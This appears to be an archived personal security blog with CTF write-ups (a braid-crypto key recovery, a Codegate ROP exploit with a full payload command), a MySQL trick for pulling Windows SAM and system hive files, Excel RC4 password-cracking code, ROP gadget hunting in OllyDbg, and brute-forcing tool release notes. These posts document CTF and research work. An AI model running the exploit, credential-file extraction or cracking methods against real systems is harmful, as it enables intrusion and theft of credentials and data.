Monday, April 4, 2011

Nuit du Hack CTF 2011 Crypto 300 Writeup

Challenge : http://repo.shell-storm.org/CTF/NDH2K11-prequals/CRYPTO/CRYPTO300/crypto300.zip

The challenge gives me the python code. The code is some kind of key exchange algorithm (I do not know). There are 3 important methods in Braid class.

class Braid:
    # ...
    def reverse(self):
        rev = [self.items.index(i) for i in range(self.size)]
        return Braid(rev)
       
    def combine(self, _braid):
        if len(_braid) != self.size:
            raise "Invalid size"
        return Braid([_braid[self.items[i]] for i in range(self.size)])

    def shuffle(self,offset=0,size=0):
        for j in range(randint(1024,4096)):
            if size==0: # client
                for i in range(offset,self.size): # range(11, 22)
                    idx1 = randint(offset,self.size-1) # randint(11, 21)
                    self.swap(i,idx1)
            else:  # server
                for i in range(offset,size): # range(0, 11)
                    idx1 = randint(0,size-1) # randint(0, 10)
                    self.swap(i,idx1)

The public key and private key are generated from BraidKey class

class BraidKey:
    def __init__(self, K, client):
        self.K = K
        N = len(K)
        self.privkey = Braid(N)
        if client:
            self.privkey.shuffle(offset=N/2)
        else:
            self.privkey.shuffle(size=N/2)
        self.privrkey = self.privkey.reverse()
        self.pubkey = self.privkey.combine(self.K.combine(self.privrkey))

From code, the client privkey is initialized with [0..21], then shuffled only last 11 elements and first 11 elements are fixed. So the client privkey always be [0..10, random shuffled]. The client privrkey is derived from privkey with so strange reverse function. With the client privkey generation, the client privkey always be [0..10, derived from privkey].

When looking in "server.py", I found

raw_K = '0D1214040108060F050C0E0207030A151009000B1311'
self.s = ServerSocket(peer,allowed_pubkeys=['0F0C11040108060B05150E1000090A030D1312140207'])

So the server accepts only public key '0F0C11040108060B05150E1000090A030D1312140207'. From pubkey generation algorithm (the last line in BraidKey::__init__), We know pubkey, half of privkey, K, and half of privrkey. Also the combine() function is reversible. So I think it's possible to find the privkey from pubkey.

It's difficult to explain. Just see the code findpriv.py (I know you guys will understand :P).

K = str2ary(hex2str("0D1214040108060F050C0E0207030A151009000B1311"))
pubkey = str2ary(hex2str("0F0C11040108060B05150E1000090A030D1312140207"))

priv =  [ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 ]
privr = [ 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1 ]
inter = [ -1 ]*22  # inter is self.K.combine(self.privrkey)
for i in range(11):
    inter[i] = pubkey[i]

# pubkey = priv.combine(K.combine(privr))
# for i in [0,11)  =>  priv[i] = i; pubkey[i] = inter[priv[i]] = inter[i] = privr[K[i]]
for i in range(11):
    privr[K[i]] = pubkey[i]

# inter = K.combine(privr); inter[i] = privr[K[i]]
for i in range(11, 22):
    inter[i] = privr[K[i]]

# pubkey = priv.combine(K); pubkey[i] = K[priv[i]]
for i in range(11, 22):
    if pubkey[i] in inter:
        priv[i] = inter.index(pubkey[i])
    
# privr = priv.reverse()
for i in range(11, 22):
    if i in priv:
        privr[i] = priv.index(i)
for i in range(11, 22):
    if privr[1] != -1:
        priv[privr[i]] = i

# inter = K.combine(privr); inter[i] = privr[K[i]]
for i in range(11, 22):
    inter[i] = privr[K[i]]

# pubkey = priv.combine(K); pubkey[i] = K[priv[i]]
for i in range(11, 22):
    if pubkey[i] in inter:
        priv[i] = inter.index(pubkey[i])

if priv.count(-1) == 1:
    pos = priv.index(-1)
    for i in range(22):
        if i not in priv:
            priv[pos] = i
            break

print priv
$ python findpriv.py
[0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 15, 18, 17, 14, 13, 21, 20, 16, 19, 11, 12]

Then I changed the self.privkey.shuffle(offset=N/2) line in BraidKey class to self.privkey = [above privkey].

$ python client.py
[Crypto300 sample client]
[i] Welcome on Goofyleaks. Can I haz ur public kay ?
[+] Your leaked flag: Br4iDCrypto_i5_b3au7ifu11

Answer: Br4iDCrypto_i5_b3au7ifu11

Monday, March 7, 2011

Codegate CTF 2011 Vuln300 Writeup

This challenge, we were given the ssh account to Ubuntu 10.10. We have to exploit the binary inside /home/vuln1 to get the vuln1 privilege and grab the flag. ASLR and NX are enabled. The binary was compiled without stack cookie, PIE.

After reading the assembly in IDA, I wrote the code in C (vuln300.c). Below is the important parts.

char gbuffer[512];  // 0x0804a0a0
int authenticated;

int authen(char *username, char *password)
{
    snprintf(gbuffer, 513, "%s:%s", username, password);
    if (!authenticated)
        authenticated = (strncmp(gbuffer, "s0m3b0dy:15n0b0dy", 17) == 0);

    return authenticated;
}

void add_user(newusername, newpassword, filename)
{
    char buffer[512];
    char user_len, pass_len;

    user_len = (char) strlen(newusername);
    strncpy(buffer, newusername, 511);
    pass_len = (char) strlen(newpassword);
    strncat(buffer, newpassword , 512);

    fprintf(stdout, "New user %s added to %s!\n", newusername, filename);
}

Problem in authen() function

The authen() function use strncmp() for compare the string. So we can authenticate with username that starts with "s0m3b0dy:15n0b0dy". Additional, gbuffer address is static (0x0804a0a0) because binary is not PIE. We can use gbuffer to put the payload here to create a reliable exploit.

Problem in add_user() function

It is obvious that there is buffer overflow problem in this function. We can overwrite saved ebp and saved eip. But we should not write past the saved eip because fprintf might be crashed if the newusername address is invalid.


With above 2 problems (plus GOT is writable), I came up with these steps.

  1. Overwrite saved ebp for moving the esp to gbuffer area with "leave; ret"
  2. Put the ROP stack in gbuffer to add the address in GOT entry to point to execve() function
  3. Call the execve()

To achieve the step 2, I used ROPEME to find the gadgets. Because we want only add the value in a static address (GOT entry), here is the interested gadgets

0x8048559L: add eax 0x804a064 ; add [ebx+0x5d5b04c4] eax ;;
0x8048418L: pop eax ; pop ebx ; leave ;;

The second gadget is for setting eax and ebx. Then we can use the first gadget to change the value of GOT entry. I modified the sleep() entry at address (0x804a01c).

$ objdump -T libc.so.6 | grep -w sleep
00098e50  w   DF .text  00000299  GLIBC_2.0   sleep
$ objdump -T libc.so.6 | grep -w execve
00099510  w   DF .text  0000005a  GLIBC_2.0   execve

Some needed computation
- The offset from sleep() to execve() in libc is 0x00099510 - 0x00098e50 = 0x6c0
- The eax before calling first gadget should be 0x1000006c0 - 0x0804a064 = 0xf7fb665c
- The ebx before calling first gadget should be 0x10804a01c - 0x5d5b04c4 = 0xaaa99b58

Here is my exploit that will call execve("0dy", 0, 0) (I used "0dy" string from "s0m3b0dy:15n0b0dy" at address 0x08048a24)

$ /home/vuln1/vuln300 -us0m3b0dy:15n0b0dyAA `perl -e 'print "-p","\xc4\xa0\x04\x08","\x18\x84\x04\x08","\x5c\x66\xfb\xf7","\x58\x9b\xa9\xaa","\xc4\xa0\x04\x08","\x59\x85\x04\x08","\xd5\x88\x04\x08","\x24\x8a\x04\x08"'` -fa `perl -e 'print "-x","A"x510'` `perl -e 'print "-yAAAA","\xb4\xa0\x04\x08","\x1a\x84\x04\x08"'`
...
$ cat flag.txt
33f9876804c9a14e927e5d1d70a64ace

Wednesday, January 19, 2011

Get binary file via MySQL

Just a note for getting binary file via MySQL because I just had to do it. But I cannot find a method on the internet (with google).

If a binary file is small, the easy way is using LOAD_FILE(). For example,

SELECT HEX(LOAD_FILE('c:/windows/repair/sam'));

But if a binary file is big, MySQL throws a warning "Result of load_file() was larger than max_allowed_packet (1048576) - truncated" then returns NULL to me.

Someone on MySQL forum said using "SET SESSION max_allowed_packet=16*1024*1024;" before using LOAD_FILE(). But it does not work for me. :(

After read the MySQL doc, I found a method to do it with "LOAD DATA INFILE". This command definitely needs a table to keep the data. Here is my SQL commands to load binary file into table.

use test;
CREATE TABLE files (bin_data longblob);
LOAD DATA INFILE 'c:/windows/repair/system' INTO TABLE files FIELDS TERMINATED BY 'AAAAAAAAAAA' ESCAPED BY '' LINES TERMINATED BY 'BBBBBBBBBBBBBBBB';

After these commands, the binary data will be in the "files" table without modification. :)

Note about "FIELDS TERMINATED BY" and "LINES TERMINATED BY" values. They can be any string patterns that do not exist in the binary file.

Thursday, December 30, 2010

Bruter 1.1 final

Finally, it is out :). I can do it before new year.

The new things since beta2 are (not including bug fixes)
- HTTP digest authentication
- SIP protocol

Happy new year ;)

Update (4 Jan 2011):
Sorry, I did a mistake again in binary. I included the wrong openssl file ("libssl32.dll" instead of "ssleay32.dll"). If you have a problem when starting my app. Try to download it again.

Thursday, December 23, 2010

Excel RC4 Encryption Algorithm

I played a wargame. There is a protected xls file. I could not find a free tool to break it. When I tried to use their trial tools, there is a instant recovery feature. I wonder how they do it. I decided to read the encryption algorithm. I knew the default Office 2003 encryption algorithm is RC4. After some searching, I found the Microsoft Document
- http://msdn.microsoft.com/en-us/library/dd907466%28v=office.12%29.aspx
- http://msdn.microsoft.com/en-us/library/dd905723%28v=office.12%29.aspx

The first link is how the RC4 key is generated and what is stored in xls file. The second link is what contents to be encrypted.

After understanding the Excel password, I code the python for testing the password test_xls_pass.py. Here is the important part.
def gen_excel_real_key(pwd, salt):
    h0 = hashlib.md5(pwd).digest()
    h1 = hashlib.md5((h0[:5] + salt) * 16).digest()
    return h1[:5]
   
def test_pass(pwd, salt, verifier, verifierHash):
    real_key = gen_excel_real_key(pwd, salt)
    key = hashlib.md5(real_key + '\x00\x00\x00\x00').digest()
    dec = rc4_crypt(key, verifier + verifierHash)
    if hashlib.md5(dec[:16]).digest() == dec[16:]:
        print "valid pass"
    else:
        print "invalid pass"

"salt", "verifier", and "verifierHash" can be extracted from FILEPASS record in Excel file. Can you see it? The "real_key" is only 5 bytes (40 bits). If you can find this key, no need to use password. The key space of real_key is 240. It is possible to do brute forcing. But is it easier than brute forcing password?

Compare it to alphanumeric password case insensitive. The key space of 8 characters is 368 = (32+4)8 = (25 + 4)8 > 240.

Another problem of brute forcing real_key, rc4 is slow compared to md5. I tried it with my simple C code. I get about 800,000 key/sec with 1 thread on Intel Core2 Q8300 2.5GHz. It takes about 16 days with 1 thread to try the whole key space. With GPUs, real_key is possible to be cracked in a few minutes.

What can we do when we get the real_key? There is the tool named guaexcel. The demo version allows you to use any real_key to decrypt any Excel file.

MS Word is the same as MS Excel. Just change the stream name from "Workbook" to "worddocument" stream. Then use tool named guaword to decrypt the Word file.

PS: If I have time, I will optimize the code and release it for free :). But do not expect it to be fast as commercial one.

Tuesday, December 7, 2010

Use OllyDbg to find ROP gadgets

I just tried writing a exploit with ROP technique. When I searched a tool to help me finding gadgets, I found only Immunity Debugger with pvefindaddr.

But I never used it. I am lazy to learn it now (I will later). I knew msfpescan with regex option can help me but it is too difficult. Then I tried with OllyDbg. I found a nice feature to help me finding gadgets. Here what I found

There is a search for sequence of commands when right click on CPU windows. Then it shows a dialog for typing assembly.


In this search dialog, we can use special commands and keywords. Below are what I excerpt from OllyDbg help "Search for a sequence of commands"
- R8, R16, R32 for any 8, 16, 32 bit register respectively.
- CONST for any constant
- JCC for any conditional jump
- ANY n for any 0..n commands

"Search for sequence of commands" find only one block. It is so inconvenient for us to choose a gadget. So I will show only "Search for all sequence" (the second red line of the first pic).

Let try with common gadget used for pivoting esp. I put "add esp,CONST;ANY 6;ret" to search "add esp" in ntdll.dll (on my Windows XP SP3). Here the results.


Assume We are interested "add esp, 74". Just double click it, we will see the assembly block like above pic. Then we can check if it is usable. As the above assembly code, we can use it if eax is zero.

I think this feature is nice. But I can search in only one executable module at a time :(. If someone know how to search in all modules, please tell me.;)

Sunday, November 21, 2010

Bruter 1.1 beta2 is out

Same as title, it is out. The new things (since 1.1 beta1) are

- SSH use less secure algorithm for key exchange (little faster)
- Able to use big wordlist file but still <2GB
- Save/Resume testing in "Save/Load config" (I'm lazy to add a new menu)
- Option to iterate passwords for each username (Password First)

I planned to add a new protocol on this version. But I change my mind because I'm lazy :S.

Have fun :)

Note on 23 Nov 2010:
Sorry for my mistake. I created the wrong directory name and zip filename "Bruter_1.2_beta2" (version 1.2 O_o). The actual name must be "Bruter_1.1_beta2". Fixed it.